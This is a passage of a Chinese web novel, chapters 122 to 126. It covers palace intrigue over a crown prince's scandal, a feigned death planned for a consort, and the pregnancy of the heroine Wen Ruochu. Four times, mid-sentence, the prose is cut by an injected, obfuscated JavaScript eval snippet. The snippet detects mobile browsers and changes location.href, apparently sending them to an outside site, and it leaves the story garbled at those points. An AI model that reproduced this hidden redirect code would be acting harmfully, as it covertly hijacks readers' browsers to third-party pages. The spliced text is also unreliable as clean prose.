沈惊澜情绪不对,这把盐不能洒在他童年的伤口上,哪怕是沾一点都不行。 她的小白花,她护着,温若初起身道。 “且慢!” 沈星驰跪在地上,冷冷目光扫向温若初。 “这是我雍国皇家家事,王美人德行败坏,枉顾圣恩,勾引本宫,其罪当诛,你干什么?” 沈惊澜起身站到温若初身边,犀利眸光盯在沈星驰身上。 “太子殿下怕不是忘了,若初公主作为和亲公主,已和臣弟结为夫妻,这场宴席也算是我二人婚宴。” “父皇封臣弟为荣王,臣弟和若初公主也已一起祭拜过列祖列宗,太子殿下此言,难道不认父皇和大虞女皇的旨意?” 一下子扯出两位国君,好大一顶帽子,沈星驰咋呼的欢,碰到事一下子就怂了。 沈惊澜不过是拿话吓唬,沈星驰脸色瞬间惨白。 “你……你含血喷人,”瞅了一眼老皇帝,又看向凌玄礼一撮人。 “本宫可没有对大虞女皇不敬之意,千万别听沈惊澜挑拨。” 凌玄礼没搭理沈星驰,见温若初朝她使眼色。 起身对老皇帝拱手道。 “若初公主是我朝女皇的掌上明珠,身份尊贵,荣宠无比,受不得半点委屈,贵国若无意这门亲事,臣可带若初公主返回上京。” 第122章 雍国太子的“清白” 大虞使团兴师动众地来,若真带温若初回去,往小了说是雍国不给大虞颜面,往大了说,就是雍国在挑衅大虞,必然会引起两国战争。 沈惊澜心里咯噔一下,明知形势所迫,凌玄礼才如此说,老皇帝不会让凌玄礼带走温若初。 他更不会让温若初走。 听到这种话,他情绪上条件反射,难免有些波动。 微微挪挪脚步,和温若初靠得近了些。 只听坐在高位上的老皇帝,尴尬地笑了两声。 “凌大人说笑了,若初公主愿意和朕的老九结亲,朕自是满意。” 瞪向大殿之下跪着的沈星驰,怒声道。 “你闭嘴。” 看向温若初,当着大虞人的面,做足姿态,脸上强装出几分柔和慈爱,连说出的话,听着都格外亲厚些。 “老九媳妇你要说什么,尽管说。” “多谢父皇。” 温若初屈膝行了一个万福礼,故意停顿了一下,向王美人睃了一眼。 王美人会意,见缝插针为自己辩解。 “陛下,妾身是冤枉的,是太子几番威逼强迫妾身……” 几番? 众人又是一阵唏嘘,敢情还不是第一次? “胡说八道!” 皇后厉声打断王美人,“你说太子强迫你,你为何不寻找陛下庇佑,再不济还有本宫,本宫瞧着你就是耐不住寂寞,生性浪荡,太子殿下岂是你这种**可攀咬的?” “妾身所言句句属实,妾身迫于太子**不得不忍受**,妾身自知对不住陛下,曾几次想一**之,是妾身的宫婢把妾身救了回来,说陛下和皇后娘娘会为妾身做主的。” 王美人撩开衣袖,露出手腕上清晰可见,结着一层血痂的痕迹。 王美人凄楚地看向皇后。 “皇后娘娘明察,给妾身八个胆子也不敢攀咬太子,陛下病重,妾身见不到,皇后娘娘是太子殿下生母……妾身胆小,怕娘娘反说妾身攀咬太子。” 皇后被王美人噎得一句话也说不出来,好话赖话都被王美人说了,她再多为沈星驰说一句话,岂不是正好落得口实? 平常怎么不知道这小妮子嘴皮子这么厉害! 皇后扭头求助地看向老皇帝。 温若初不给老皇帝发落王美人的机会。 “父皇,今日是雍国和大虞缔结秦晋之好的日子,不宜见血光,以儿媳看,既然太子殿下和王美人各执一词,难分对错,不如先关押宗人府,让宗令差人细细审问总会有结果。” 沈惊澜刚受封亲王,不便步步紧逼,闹得太僵反倒适得其反,老皇帝极有可能当场就把王美人咔嚓了。 温若初给太子留了一个口子。 “若真是王美人攀诬,也能趁此机会,还太子清白。” 若是落实王美人受胁迫,就算老皇帝有心护着太子,也要遭人非议了,尤其是大虞使团还在,为了雍国的颜面,也会给出一个看似公允而漂亮的解释。 老皇帝大手一挥。 “来人啊,将太子和这个**押入宗人府。” 宗人府宗令是老皇帝的弟弟,叫沈时,也在吃宴席,老皇帝让沈时亲自审问。 沈时五十多岁弯腰驼背,心领神会老皇帝意思。 “臣弟遵旨。” 温若初稍稍松了一口气,王美人的这条命暂且是保住了,计划成功一半。 禁军进来带走王美人和太子,带走太子和王美人的禁军是范天恩的人。 派了两辆马车分别押送,马车出了皇宫,直奔宗人府。 时下,天色已晚,道路两边百姓屋舍亮起烛光,范天恩领着一小队禁军,行进到一个拐角,一辆不起眼的平顶马车等在巷子里。 范天恩朝马车车夫点了点头。 “停!” 押送队伍停下,范天恩对押送太子的马车,拱手道。 “劳烦太子殿下移步到另一辆马车,这辆马车的轮毂坏了。” 沈星驰掀开车帘,搭眼就瞧见了巷子里的平顶马车,荫翳的脸瞬间多了几分笑意,走下马车。 经过范天恩的时候拍了拍范天恩的肩膀。 “干得不错。” 几年前范家险些被大皇子搞得家破人亡,范天恩紧咬牙关低着头,藏起面上恨意。 要不是荣王殿下想多留他几日,要不是要顾及范家,他现在就想把沈星驰弄死。 把沈星驰送回太子府,王美人押送至宗人府,范天恩折返长乐宫复命。 长乐宫的宴席刚刚结束。 沈惊澜和温若初同乘一辆马车,宴席刚结束,大家都着急回家,这会宣德门正拥挤,选了一条偏僻绕远的小路,不会那么惹眼。 四下无人宫道,范天恩站在马车下。 “殿下交代的事,属下办完了。” 沈惊澜掀开车窗帘,食指放在唇边,示意范天恩小声些,温若初躺在他大腿上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455769|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡着了。 “前几日给你的那些卷宗,明天一早提交给御史台。” 他故意让范天恩放走了沈星驰,算是卖老皇帝一个情面,就算是不放走,也是一样的结果。 前阵子让温若初整理了一些太子沈星驰为非作歹案件卷宗,这些卷宗也曾派人呈递给刑部或大理石,均石沉大海。 今日闹出这么大的乱子,时机已然成熟,这些卷宗也到真正发作用的时候了。 范天恩应了一声,“是。”顿了顿问道,“王美人问她什么时候可以回大虞。” “古叔今晚回来,等古叔一到,就派人把假死药送到王美人手里,告诉王美人,不会让她遭太多罪,回大虞的路已经准备好了,该怎么应付宗人府的人,让她心里有些数。” “属下这就去告诉王美人。”范天恩行了一个抱拳礼走了。 沈惊澜放下车窗帘子,把那件盖在温若初身上的狐裘大氅,又仔仔细细掖了掖,特意让车夫赶车慢些,平稳些。 忽然车后传来一道催促的怒骂。 “前面那辆车磨蹭什么呢?让开!” 宣德门堵着马车,不止沈惊澜一个走小路,马车后跟来了一辆高大华丽黑漆大马车。 今日算是沈惊澜的温若初的婚宴,两人乘坐的是四乘马车,在雍国,皇帝出巡,诸侯朝见,贵族婚礼,依礼制四乘马车。 身后那辆马车也是四乘。 小辛坐在马车外沿,回头瞅了一眼身后马车,不以为意。 管他是大虞的皇亲贵胄,还是雍国的公子王孙,他的主子只有一个。 并且十分自信主子的实力,尤其是娶了大虞的公主,不管是大虞还是雍国,没人能比得过他的主子,主子只是行事低调而已。 只要身后的马车不是雍国老皇帝,他就有理。 没得到沈惊澜命令,小辛**都没**身后怒骂,拿着马鞭,继续晃晃悠悠,不快也不慢赶车。 怒骂的声音很大,或许是有些吵,枕在沈惊澜大腿上的人不满地蹙了蹙眉头,闭着眼睛咕哝一声。 “好吵。” “本世子让你让开,听到……啊!” 怒骂声再次传来和拍马车车板的声音一起,很近,只隔着一层车窗帘。 来人一句话未说完,一声凄厉惨叫,伴随着骨头碎裂声响传了进来。 沈惊澜捂着温若初的耳朵,慢条斯理收回从窗口伸出去的胳膊。 第123章 王妃歇息,任何人不得打扰 柳知意的手腕被折成不正常形状,头上冷汗直流,捂着胳膊,疼得呲牙咧嘴。 “你……” “别说话!” 沈惊澜低声道,淡淡的语气,莫名带着几分不容置喙意味。 墨黑眸子淡淡扫了一眼柳知意。 “我知道你是柳家人。” 柳知意瞪着沈惊澜,“我……” “本王九皇子沈惊澜。” “嘿……” “家住荣王府,本王等着。” 沈惊澜愣是没让柳知意说一句完整话,说完,吩咐冯文赶路。 柳知意是柳妃侄子,是镇南侯柳正平世子,从小锦衣玉食,什么时候受过这种罪,不过是得了虚名而已,也敢欺辱到柳家头上。 柳知意跳脚指着沈惊澜的马车,怒骂。 “你等着!” “哥,你没事吧?” 沈惊澜掰断了沈知意的腕骨,没弄出大动静,柳知秋坐在马车里,听柳知意骂人才下车,走过来一看。 柳知意的手无力地耷拉着,瞧着就吓人,赶紧关切地问了问,急得都快哭了。 “是哪个不长眼的狂徒,居然敢伤镇南侯世子?” 柳知意切齿道:“沈惊澜!” “啊?不能吧。” 柳知秋一脸诧异。 刚才姑母还说,温若初和沈惊澜让陛下把太子关进宗人府,打压皇后和太子**,是因为沈惊澜和温若初畏惧柳家权势,借此巴结他们柳家。 不然沈惊澜和温若初没理由得罪皇后和太子。 当然,他们柳家实力雄厚,门徒众多,爹爹镇南侯更是为陛下立下汗马功劳,就连陛下都要给柳家三分薄面,六皇子的“病”和沈惊澜有关,柳家是不会收沈惊澜这种人入麾下的。 是沈惊澜走投无路,想寻求庇佑,上赶着和他们柳家示好,才有了今天打压太子这出。 沈惊澜巴结还来不及,怎么会回头就打镇南侯世子呢? 柳知秋瞅了一眼沈惊澜马车离开的方向, “沈惊澜是不是不知道兄长是镇南侯世子?” 柳知意脸色更不好了,嘴角抽动两下,沈惊澜可是亲自和他说,沈惊澜知道他是柳家人。 沈惊澜不过是刚得了一个虚名的王爷,手上没有实权,没得势,居然敢如此猖狂,不把柳家放在眼里。 简直是岂有此理! “走,本世子要回去告诉父亲和姑姑,让沈惊澜吃不了兜着走!” 沈惊澜的马车平稳抵达荣王府,温若初睡了一路,一路上晃晃悠悠的,睡得香甜。 马车停下,忽然没了睡意,揉着眼睛坐起身,脑袋歪靠在沈惊澜肩头。 含糊不清道:“到家了。” “嗯。” 沈惊澜把落下的狐裘大氅往温若初身上裹紧了些,“回房间睡舒服些。” 扭过头,弯腰后背对着温若初。 “上来。” 温若初抬手拍了拍沈惊澜后背。 “不用你背,我自己走就行。” 沈惊澜已经不是养在她府里的面首了,沈惊澜是雍国王爷,在都城也算是有头有脸。 让沈惊澜背着她下车,有嘴不牢的,传出去了,不一定怎么说他们呢。 沈惊澜先走下马车,然后拖着温若初的手,把人扶下来。 门房的小厮过来牵马。 “殿下,古叔回来了,在前厅等您呢。” 沈惊澜下意识瞅了一眼温若初小腹,看向温若初,似乎是有话要说。 温若初打着哈欠,注意到沈惊澜欲言又止的视线,眨了眨眼,让自己清醒一些。 “怎么了?” “没什么,你先回房间歇着,我去去就来。” 明明是寻常得不能再寻常的对话,沈惊澜说这两句话的时候,心底莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455770|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些呼吸不顺起来,连掌心都不觉浸出一层薄汗。 沈惊澜在衣裳上蹭了蹭手心,避开温若初视线看向旁处,让丫鬟送温若初回房间。 他长长吐出一口气,心底的那股怪异情绪并未缓解多少。 荣王府前厅 古叔把一红一黑两颗圆滚滚药丸交给沈惊澜。 “服下黑药丸两个时辰后失去心跳脉搏呼吸,看起来就和**一样,十二个时辰内服下这颗红药丸,假死症状解除。” 沈惊澜接过药丸,转手把黑药丸交给一个平头方脸下属,宗人府里有内应,已提前打好招呼,药丸交给内应,内应再转交给王美人。 沈惊澜坐在椅子里,吩咐完正事,眉心紧蹙,沉默了。 古叔咂了一口茶,瞄了好几眼沈惊澜。 古叔六十几岁,向那些匈奴人买马,价钱都谈好了,阁主传消息,让他即刻回雍国都城,改派另一个人接替他的去匈奴人手里买马。 他赶回都城,一千多里的路,接连收到两次命令,都是催促他快些回都城的。 他以为都城发生了什么了不得的大事,火急火燎地来也赶路,一路颠簸,他这把老骨头都快散架了。 结果回来听说阁主受封荣王,还娶了大虞郡主……哦,现在是公主了。 一切都在朝好的方向发展。 好像也没什么火烧眉毛的要紧事,总不至于让他老头子回来喝喜酒的。 古叔问道:“阁主还有何吩咐?” 沈惊澜的确有一件要紧事需要古叔去做,想起方才温若初哈欠连天疲惫的样子,不忍心折腾她。 深吸一口气,克制住心底激动情绪。 “古叔舟车劳顿,早些歇息,明日吧。” 古叔:“……” 我舟车劳顿不是一两日了,都到地方了,终于想起来他这把老骨头舟车劳顿了。 第124章 苍兰苑的姑爷 隔天一大早,王美人惨死宗人府的消息,还没呈递御前就闹得沸沸扬扬。 王美人“死”前留下**,控诉太子罔顾人伦道义,**宫妃罪行,皇后睁一只眼闭一只眼纵容。 **最后,述说对老皇帝的爱慕之意,自己是被冤枉的,请求老皇帝严惩太子。 昨晚众目睽睽之下,王美人和沈星驰一起被老皇帝打入宗人府,也不知道是谁传的,昨晚有人在太子行宫瞧见了太子。 被打入宗人府的人,出现在别处潇洒,王美人写下**,以死明志,惨死宗人府。 ……这就有点耐人寻味了。 父亲护着亲亲生骨肉,枉顾法度正义,弄死一两个人,好像就说得通了。 温若初刚起床就听到王美人“死”在宗人府的消息。 暗暗称叹,王美人还是有两把刷子的。 能屈能伸,知道自己几斤几两,还懂得利用一些对自己有利的机会,达到利益最大化。 太子一再作恶,**宫妃,罪魁祸首应该是老皇帝。 王美人的“**”是温若初改过的,早在和王美人达成协议的时候,王美人就写下了“**”手稿。 王美人的初版“**”更犀利一些,内容上也更丰富一些。 王美人不止写了王美人受沈星驰胁迫过程,还写了近二十年受沈星驰侮辱的宫妃名字,十几个宫妃,有活着的,也有**的,其中包括沈惊澜的母亲寒妃。 温若初把列举宫妃名单的部分划掉了。 到底是皇权父权夫权统治的封建古代,女子名声比命重要,受了欺辱,哪怕他们什么都没做错,是受害者,这种事公之于众,必然遭受非议,会对她们造成二次伤害。 她佩服王美人的勇气。 **中句句不提老皇帝罪行,却又句句扎在老皇帝头上。 王美人留了一线,表明自己对老皇帝的忠心。 王美人遭受**以死明志,传遍都城大街小巷。 老皇帝对沈星驰的处理已经不重要了,就算直接砍了沈星驰人头,也挽不回皇室丑闻。 宗人府禀告老皇帝之后,嫌晦气,一个破草席卷着王美人“尸体”,扔去西郊乱葬岗。 好事不出门,坏事传千里,尤其是皇家的事,如春风遇野火,传得更快。 温若初听得瞌睡都没了,护送王美人回大虞的人早就安排好了,这个时辰,王美**概已经出了都城。 洗漱过后,问秋菊。 “王爷呢?”一大早就没看见人。 “天还没亮姑爷就和范将军出去了。姑爷说让您先用早膳不用等他。” 秋菊一口一个姑爷叫得顺嘴,刚到这边的时候,也叫王爷来着,是王爷让他们这些从苍兰苑来的下人叫他姑爷,还给他们包了红封。 时间长就顺口了。 顿了顿,秋菊想起想起什么似的。 “还从书房搬走了一口紫檀木箱子。” 紫檀木箱子? 温若初了然,书房紫檀木箱子里装的是沈星驰贪赃枉法,**的案卷文书,以及往来银钱账本。 王美人的**还没搞定,又来一波更大的,老皇帝有的忙了。 老皇帝焦头烂额,急得咳嗽加重了不少,几年没上早朝愣是被御史台的人烦得不行,硬生生把他抬到朝堂上。 不知道从哪里弄来了一堆案件文书账本,桩桩件件都能要了沈星驰的命。 一个两个的都要**太子,说沈星驰德不配位,要求严惩。 原本都风平浪静的,怎么突然之间就钻出来这么多的证据? 背后一定有人操纵。 王美人的事,本想让宗人府得到一份口供,帮沈星驰挽回名声,然后悄悄处理了那个**。 谁知道宗人府那些没用的酒囊饭袋,办事拖泥带水,口供没拿到,人**不说,还弄出了一个什么“**”。 大虞使臣如今住在都城…… 老皇帝眉心紧蹙,面色疲惫,长长叹了一口气。 还让人家多留两日,这下好了,家丑遮不住了。 按下葫芦浮起瓢,朝堂上又起纷争。 昨晚沈星驰和那个**丑事被摊在明面上,就能看出来,沈星驰得罪了人,这个人一口气都不让人喘,步步紧逼,想置沈星驰于死地。 沈星驰是他的嫡子。 会是谁想要沈星驰的命? 好不容易撑过早朝,老皇帝眉心紧蹙,面色苍白,咳嗽不止,吃了一颗鸡蛋黄大小的丹药才稍有好转。 李公公特意让御膳房准备的早膳,又添了几样清粥,和爽口的小菜。 “陛下,该用早膳了。” 老皇帝疲惫地叹了口气,刚坐下,门外吵吵嚷嚷的。 李公公朝门外问道:“怎么回事?” “陛下,臣妾有要事求见。”是柳妃的声音。 “让柳妃进来吧。”老皇帝道。 柳妃一进屋,扑通一下跪到老皇帝面前,哭哭啼啼道。 “陛下,您可得替妾身做主啊,知意是妾身的侄子,昨天就因为知意驾马车从西正门回府,被荣王殿下打得不成样子,骨头都断了,妾身看着心疼。” “六殿下还病着,妾身的侄子又惨遭荣王殿下毒手,怎么就和妾身过意不去呢?” 老皇帝本就烦得不行,本以为柳妃知情解意,能顺顺心,谁知道柳妃也是来添堵的。 御史台拿出的那些有关太子罪证,其中有一些还有柳妃兄长柳正平的事。 老皇帝横了柳妃好几眼,柳妃光顾着哭诉,没瞧见老皇帝越来越黑的脸色,还跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455771|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地板上,哭哭啼啼抹眼泪。 “妾身兄长不知道多重视知意,知意这个样子,妾身该如何跟九泉之下父母……”交代。 一句话没哭诉完,老皇帝重重摔下筷子,脸色冷得像结着一层冰。 “你是沈家儿媳,和柳家交代什么,飞白被你养成那个样子,也没见你哭得如此伤心,朕的江山都不如你柳家?” 柳妃吓得脸色惨白,一脸惊恐摇头。 “不……不是的,陛下,妾身更心疼六殿下,只是方才瞧见知意手骨骇人,妾身胆子又小,着实被吓到了。” 柳妃能和老皇帝的糟糠之妻抗衡二十几年,除了强而有力的娘家,很会拿捏老皇帝的心思。 她心里清楚老皇帝需要柳家,也忌惮柳家。 很少在老皇帝面前提娘家立了多少功勋。 偶尔不下心提及,总是会在适当时机撒娇扮弱,弱化自己和柳家。 并且这招屡试不爽。 老皇帝面色缓了缓。 “知意是好孩子,就是有时候跋扈了些,我朝需要栋梁之才,朕不忍知意这样的后生走上歪路,被埋没,让柳正平休沐几日,好生教导知意。” 一番话说得极为熨贴,挑不出一点错处。 明着是看中柳知意,让柳正平教导,实际上就是停了柳正平的职。 柳妃好歹是世家培养长大的贵女,揣摩帝心多年,这点暗示还是能听懂的。 柳妃脸色又白了几分,不敢多说话了。 好消息一个接着一个,晌午用饭的时候,柳正平被老皇帝强行休沐教导子女的事就传到了荣王府。 温若初吩咐厨房多做两个菜,熬过了孕早期,胃口大增。 也不知是吃多了,还是怎么么回事,肚子有些不舒服。 躺靠在摇椅里,捧着微微隆起的小腹消化食,沈惊澜过来给她添了羊绒毯子。 温若初抬眼看向沈惊澜。 “古叔不是回来了,让古叔帮我切切脉吧?” 服侍丫鬟和懂些拳脚的侍从配备上了,还需要一个大夫,眼下没有合适的人选。 古叔是沈惊澜的人,可能有点隔心,但她肚子里怀的是沈惊澜的孩子,古叔总不至于害她。 沈惊澜眸色顿了顿,暗暗深吸一口气,点点头。 秋菊把古叔请了进来。 温若初伸出白皙纤细手腕。 “劳烦古叔了。” “王妃客气。” 古叔把一条纱巾垫在温若初手腕上,食指和中指指腹搭在纱巾隔着的手腕上。 沈惊澜坐在一边,端着空了的茶盏,眼睛时不时瞄向这边,他的连呼吸都不觉变轻了。 几息后,古叔起身,“王妃胎像平稳,两位小公子身强体壮,就是王妃有些脾胃失和,简单调理即可。” 第125章 甜蜜日常 温若初吃饱喝足,脑袋晕晕呼呼,注意力不集中,一时没反应过来。 可能是处于陌生环境,身体自我保护机制,身子疲乏,大脑也提着两分精神,无意识地格外注意对自己不好的人和事。 温若初只听到后面的“脾胃失和”几个字。 温若初道谢:“多谢古叔。” 沈惊澜坐在椅子里,也迟迟没反应过来。 古叔瞄了眼温若初和沈惊澜的神色,一脸无事发生的平静,以为是之前让别的大夫诊过脉,早就知道了怀的是双生子,既然知道了,那就没什么好特别嘱咐的了。 古叔欲起身写方子。 月儿惊喜地“哎呀”一声,死死抓着古叔胳膊,情绪激动道。 “公主怀的是……双生子?” “你这小丫头,手劲不小,”古叔拧着眉头扒开月儿的手,“新来的吧,老夫刚才说得明白,是双生子,母体脾胃失和,老夫要去写方子。” 温若初眸色顿了顿,昏昏欲睡的头脑瞬间清醒,眼眸瞪大,满是不可置信。 “古叔,您说什么?两双生子?” 沈惊澜也后知后觉反应过来,噌一下起身,手中茶盏险些没摔落,茶盏放到桌上。 快步走到温若初身边,轻轻握住她的手,眼中满是关切与爱意。 喃喃道:“双生子。” 温若初低头看向腹部,好奇自己肚子里居然有两个小生命,像是发现了什么新奇的玩意似的,嘴角翘起。 “两个?难怪最近吃的多了。” 沈惊澜抚了抚她的小腹,“你吃多少,我都供得起,你一会想吃什么?” “大螃蟹,带蟹黄的大螃蟹。” 温若初第一次怀孕,之前给她诊脉的几个大夫,没说什么忌口的东西,直接吩咐厨房,厨房做什么她吃什么。 这两日就馋这口螃蟹,最近忙着王美人的事,也没抽出功夫让厨房做。 “行。” 沈惊澜满嘴答应,当即让小辛去准备大螃蟹。 月儿小声告诉小辛,小辛也知道了王妃肚子里有两个小公子,王妃想吃螃蟹,乐得跑腿。 “恭喜王爷,恭喜王妃,我这就让厨房做大螃蟹。” “等等!” 古叔有些无语地看着沈惊澜和温若初二人。 身边没个长辈帮衬,就像是两个小娃娃在过家家,敢情这两个人一个不在意,一个不上心,是什么都不知道。 满屋子的人都在看他,古叔耐心解释。 “王妃怀着身孕,又脾胃失和,饮食上要多加注意,宜清淡易消化,螃蟹性凉,不可多食,另外要适当运动……” 一瓢凉水泼下,温若初丧丧的。 “那行吧。” 不能吃螃蟹有点灰心,也没人告诉他怀孕了还得忌口啊。 沈惊澜眉眼低垂,也不知道想到了什么,趁着古叔看不见,捏了捏温若初手指。 “放心。” 温若初眨了眨眼睛,沈惊澜不会是要背着古叔喂她螃蟹吧? 这么叛逆疯狂的吗? 古叔叮嘱了平常注意不可贪凉,也不能贪热,开了一副调节脾胃的方子才走。 沈惊澜让厨房准备清淡午膳。 两个小丫鬟陪着温若初,怀个孕还挺麻烦的,温若初遵照古叔嘱咐,在院子里转了一圈。 不多时,调理脾胃的汤药熬煮好了,沈惊澜亲自端到她房间的,除了黑漆漆的一碗汤药,还有一只趴在盘子里的“大螃蟹”。 温若初盯着“大螃蟹”口水都快流出来,馋虫抓心挠肝,却也没忘记古叔叮嘱。 嘟着嘴巴,没好气地瞅了一眼沈惊澜。 “故意的吧,明知道我不能吃,故意来馋我?” 沈惊澜轻笑一声,筷子轻轻剥开“大螃蟹壳”。 “你看。” 温若初凑近一看,当下就笑了,也不知道厨房的厨娘是怎么弄的,那“螃蟹”居然是南瓜和蛋黄做的,里面的“蟹肉”是山药,蟹黄敲不出是什么东西,闻着香喷喷的,一股蟹黄味。 温若初指着蟹黄,“我要那个。” “啊——”她张嘴。 预想中香喷喷的“蟹黄”没进嘴,嘴边反而多了一碗黑黢黢的汤药。 沈惊澜道:“先把药喝了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455772|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温若初最怕苦了,吃药比杀了她还难受,嫌弃地捏着鼻子往后躲。 药碗不依不饶,凑到她唇边。 温若初摇头,“不要。” 沈惊澜无奈叹了一口气,药汤碗调转方向,猛地喝了一大口,大手扣住温若初后脑勺。 温若初还暗暗庆幸可以不用喝汤药了,没反应改过来,唇上附上两片柔软,紧接着她的牙关被沈惊澜的舌头撬开,汩汩汤药渡到她嘴里。 温若初柳眉倒竖,下意识抬手推沈惊澜,沈惊澜像一堵小山似的,纹丝未动,她连反抗都没机会。 口腔里的苦药终于没有了,沈惊澜松开她。 刚要张嘴发飙,一小撮鲜香滑润的“蟹黄”送进她嘴里,味道浓郁,质地淳厚,不是蟹黄,却有蟹黄的口感和味道。 这一小撮“蟹黄”,硬生生把喉咙里的不满咽进肚子里。 温若初眼神发亮,满足地点点头,含糊不清道。 “什么做的?” “豆腐和咸蛋黄。” 温若初还想吃,沈惊澜把剩下的汤药递过来。 “我喂你,还是你自己喝?” 温若初撅了撅嘴巴,她这个人有仇必报,瞄了一眼那碗汤药,突然起了坏心思,嘴角微微勾起,怕沈惊澜察觉出什么,抬起手,把翘起的嘴角往下压了压。 做出很痛苦的表情。 “我自己喝。” 豪气万丈地端起药碗,仰头倒进嘴里,空碗放到一边,迅雷不及掩耳之势扑倒沈惊澜。 以牙还牙,捏着沈惊澜的下巴,口腔里汤药一滴不剩,悉数渡给沈惊澜,另一只手不老实,顺着沈惊澜衣襟伸进去,摸了两把腹肌。 温若初能明显感觉到,掌心下由放松到紧绷再到体温攀升的腰腹肌肉。 嘴里汤药味淡了一些,温若初起身,恶作剧得逞地眨了眨眼。 “吃完了。” 沈惊澜躺在床上,胸口剧烈起伏,小腹发紧,眼尾泛着潮红,扯着温若初的胳膊,把人拽到自己身上,沙哑着嗓音。 “没吃完。” ……(一段不可描述的动作) 第126章 两位小公子的衣裳 温若初四肢酸软,稍稍休息了一会,攒了点精神。 还没忘她的“大螃蟹”,抬手虚指了一下桌上螃蟹。 “我饿了。” 沈惊澜已换完衣裳,人模狗样,精神抖擞的,手指碰了碰盘子试温度。 “冷了,我让人热一下。” 热过的哪能有新出锅的好吃。 作孽啊! 温若初躺在床上,心如死灰看着天花板,欲哭无泪,以后撩拨人的时候,先把好吃的东西吃了。 一转眼,年关临近,温若初的小腹隆起明显,身子也越来越笨重,冬天的棉袄都换了好几身。 温若初嫌麻烦,让绣娘裁做衣裳的时候直接让出两寸。 温若初试了试新做好的衣裳,对襟圆领的袄子,也不知道沈惊澜从哪里弄来两匹蜀锦,袄子用的蜀锦面料,领口袖口绣着牡丹,里面贴着一层水貂皮,既暖和又不显臃肿。 前襟空出两拳,正好余出一个月的尺寸,度过冬天,温若初很满意。 秋菊围着温若初整理衣裳,满意地上下看了看。 “雍国绣娘的手可真巧,这件袄子穿在咱们公主身上,腰段都显出来了。” “公主国色天香,什么衣裳到公主身上都好看。” 月儿在一边伺候茶水,笑着搭腔。 温若初笑着戳了戳秋菊和月儿的脑袋。 “就你们嘴甜,我肚子都这么大了,哪里有什么腰段。” 抬头见墙边不知道什么时候多了两口箱子,温若初问。 “那是什么?” “姑爷让人送来的,给两位小公子准备的小衣裳和一些玩耍的物件。” 秋菊打开箱子,满满腾腾一箱子小衣裳,一箱子玩具。 温若初拧了拧眉头,最近沈惊澜也不知道哪根脑弦搭错了,老鼠絮窝一样,孩子用的东西,左一箱右一箱往回倒腾。 为了放孩子的东西,专门收拾出一个库房,库房都快堆满了。 之前怎么没发现沈惊澜有囤东西的习惯。 从什么时候开始的呢? 好像是从得知她肚子里怀的是双生子开始,爱子之情突然爆发,简直就是事无巨细的有些烦人,隔三岔五就让古叔来请一次平安脉。 温若初当时还奇怪过,之前沈惊澜又不是不知道她身怀有孕,为何突然之间转变如此之大? 疑问只是在她脑海一闪而过,以为沈惊澜喜欢双胞胎,所以格外重视些。 温若初看着墙边两口箱子,心底再起疑惑。 沈惊澜不对劲,转变过于突兀,肯定有原因。 温若初问道。 “怎么又往回倒腾东西?库房里那些都用不完。” “姑爷说问过古叔,孩子长得快,一下子得了两位小公子,东西要多准备些。” 她怀的是两个,又不是二十个,孩子长得快也不至于提前准备这么多? 银子又不是大风刮来的。 “退回去。” “是。” 秋菊合上箱子盖。 “奴婢这就让人搬走。” 月儿脸色夸下来,欲言又止的,温若初注意到月儿神色不对,问月儿怎么了? 月儿跪在温若初面前,为难道。 “您罚月儿吧,月儿不该藏私,公主能不能不要退小公子衣裳。” 温若初赶紧扶起月儿。 “好好说话,为何要让我留下这些东西。” 月儿迟疑半晌,“给小公子做衣裳的绣娘叫小玉,年纪还没奴婢大,她娘早早**,爹瘫痪,家里还有弟弟妹妹。一家人都需要小玉养着。” “您把小公子的衣裳退回去,小玉这两个月一文铜钱都赚不到,他们一家不饿死也是要冻死的……” 原来,月儿认识了一个身世凄惨的小姐妹,可能是同病相怜,月儿对那个叫小玉的绣娘起了同情心思。 